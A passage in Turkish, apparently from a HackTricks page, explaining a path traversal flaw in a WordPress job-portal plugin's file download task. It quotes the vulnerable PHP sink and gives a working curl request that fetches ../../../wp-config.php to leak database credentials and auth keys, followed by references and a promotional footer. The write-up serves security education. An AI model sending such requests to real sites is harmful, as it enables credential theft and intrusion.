Başka bir görev, downloadcustomfile, ziyaretçilerin path traversal yoluyla diskteki herhangi bir dosyayı indirmesine izin veriyordu. Zayıf sink modules/customfield/model.php::downloadCustomUploadedFile()
içinde bulunuyor:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
saldırgan tarafından kontrol ediliyor ve sanitizasyon yapılmadan birleştiriliyor. Yine, tek engel özgeçmiş sayfasından alınabilecek bir CSRF nonce.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Sunucu wp-config.php
içeriğini döndürüyor, leaking DB credentials ve auth keys.
Referanslar
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.